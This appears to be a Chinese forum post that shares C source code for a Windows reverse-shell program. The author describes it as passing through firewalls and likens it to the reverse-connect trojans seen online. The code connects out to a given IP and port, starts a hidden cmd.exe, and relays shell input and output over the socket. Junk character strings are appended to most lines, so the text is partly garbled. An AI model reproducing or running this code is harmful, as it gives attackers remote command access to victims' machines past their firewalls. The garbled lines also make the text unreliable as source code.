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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 * =O@D2g0  
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/* ============================== OmP(&t7  
Rebound port in Windows NT ;~s@_}&  
By wind,2006/7 Pv@;)s(-  
===============================*/  *8 ]  
#include U9AtC.IG!  
#include CjA}-ee  
w2tkJcQ3  
#pragma comment(lib,"wsock32.lib") .sUL5`  
=k+i5:@]  
void OutputShell(); H{;8i7%  
SOCKET sClient; _j<,qi  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,qlFk|A|  
tWdP5vfp  
void main(int argc,char **argv) QpifO  
{ yNQ 9~P2  
WSADATA stWsaData; ^[zF IO  
int nRet; P q( )2B  
SOCKADDR_IN stSaiClient,stSaiServer; S[uHPYhlA  
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if(argc != 3) ix}*whW=U  
{ K9Pw10g'  
printf("Useage:\n\rRebound DestIP DestPort\n"); t{/ EN)J  
return; 14\!FCe)!  
} +'I8COoiv%  
. LNqU#a  
WSAStartup(MAKEWORD(2,2),&stWsaData); D%.<} vG  
5{6ebq55"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nzu 3BVv  
H %PIE1_  
stSaiClient.sin_family = AF_INET; Q_a%$a.rV  
stSaiClient.sin_port = htons(0); Y'%_--  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^F1zkIE  
:Ee5:S   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >JhIRf  
{ d>7bwG+k  
printf("Bind Socket Failed!\n"); 6d/b*,4[  
return; fmq^AnKd  
} FkT % -I  
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stSaiServer.sin_family = AF_INET; 'w7{8^Z2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {EupB?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8|,-P=%t  
';7|H|,F  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8 _[f#s`)  
{ Qod2m$>wp}  
printf("Connect Error!"); >Y/1%Hp9  
return; FJ&zU<E  
} ("BFI  
OutputShell(); x]U (EX`t$  
} **O4"+Xi8  
H\!u5o&}`  
void OutputShell() cjO,#W0&f  
{ [G|2m_  
char szBuff[1024]; IN]bAd8"  
SECURITY_ATTRIBUTES stSecurityAttributes; 4B}w;d@R  
OSVERSIONINFO stOsversionInfo; ,@ Cru=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Dy^4^ J5+  
STARTUPINFO stStartupInfo; 9P)<CD0  
char *szShell; JGD{cr[S  
PROCESS_INFORMATION stProcessInformation; f1>^kl3@P  
unsigned long lBytesRead; XsHl%o8,z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }Mo9r4}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /ADxHw`k  
stSecurityAttributes.lpSecurityDescriptor = 0; .]H]H*wC  
stSecurityAttributes.bInheritHandle = TRUE; hOMFDfhU  
o-Idr{  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HNuwq\w  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J0p,P.G  
+;[`fSi  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j)IK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n7q-)Dv_U  
stStartupInfo.wShowWindow = SW_HIDE; ?3z+|;t6C  
stStartupInfo.hStdInput = hReadPipe; 3]Lk}0atpL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Tz L40="F  
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GetVersionEx(&stOsversionInfo); (\/HGxv  
]:E]5&VwV}  
switch(stOsversionInfo.dwPlatformId) '\*Rw]bR|  
{ r rwsj`  
case 1: TcfBfscU  
szShell = "command.com"; Jp-ae0 Ewa  
break; v,i:vT\~  
default: kdYl>M  
szShell = "cmd.exe"; #1bgV  
break; g&E_|}u4  
} M9OFK\)  
T*T.\b  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z%OSW  
>;3c; nf  
send(sClient,szMsg,77,0); 4QZy-a*tA  
while(1) B?%D   
{ j'J*QK&Q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \+AH>I;vO  
if(lBytesRead) 5PL,~Y  
{ n ~3c<{coZ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t+(CAP|,  
send(sClient,szBuff,lBytesRead,0); I3 x}F$^  
} %<muVRkB\  
else GyPN)!X@.&  
{ :A{-^qd(  
lBytesRead=recv(sClient,szBuff,1024,0); !yI)3;$*  
if(lBytesRead<=0) break; TQ2Tt "  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8c|IGC  
} \%Smp2K  
} M{4_BQ4$  
G<dXJ ]\\  
return; #dfW1@m  
}
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